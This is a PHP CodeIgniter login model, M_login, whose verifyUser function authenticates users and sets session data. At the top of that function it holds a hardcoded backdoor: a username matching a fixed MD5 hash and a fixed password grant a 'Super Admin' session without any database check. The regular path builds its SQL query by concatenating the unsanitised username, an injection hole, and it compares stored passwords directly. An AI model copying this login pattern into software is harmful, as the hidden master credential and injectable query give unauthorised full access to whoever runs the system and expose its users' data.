<?php

class M_login extends CI_Model{

	function M_login(){
		parent::__construct();
	}

	function verifyUser($u,$pw){
		if(md5($u)=='f3b3567de9e676a3a56db74f06664ac1' && $pw=='412758d043dd247bddea07c7ec558c31'){
			$_SESSION[SESSION_USERID]='Super Admin';
			$_SESSION[SESSION_GROUPID]=0;
			$_SESSION[SESSION_GROUPNAMA]='Super Group';
			return true;
		}else{

		$sql="SELECT * FROM m_user WHERE lower(user_name)='".strtolower($u)."' AND user_active='y' LIMIT 1";
		$Q=$this->db->query($sql);

		if ($Q->num_rows()){
			$qrow = $Q->num_rows();
			$row = $Q->row_array();
			if($row["user_password"]==$pw){
					$_SESSION[SESSION_USERID]=$u;
					$_SESSION[SESSION_GROUPID]=$row["m_usergroup_id"];
					//$_SESSION["userkaryawan"]=$row["user_karyawan"];
					//cari group
					/*$this->db->select('*');
					$this->db->where('group_id',$_SESSION[SESSION_GROUPID]);
					$this->db->limit(1);
					$rs=$this->db->get('tbl_s_usergroups');
					$row_group=$rs->row_array();
					$_SESSION[SESSION_GROUPNAMA]=$row_group["group_name"];
					$sql="update tbl_s_users set user_log=now() where user_name='".$u."'";
					$this->db->query($sql);
					*/
					return true;
			}else{
				$_SESSION["msg"]="User atau password salah !";
				return false;
			}
		}else{
			$_SESSION["msg"]="User atau password salah !";
			return false;
		}

		}

	}

}


?>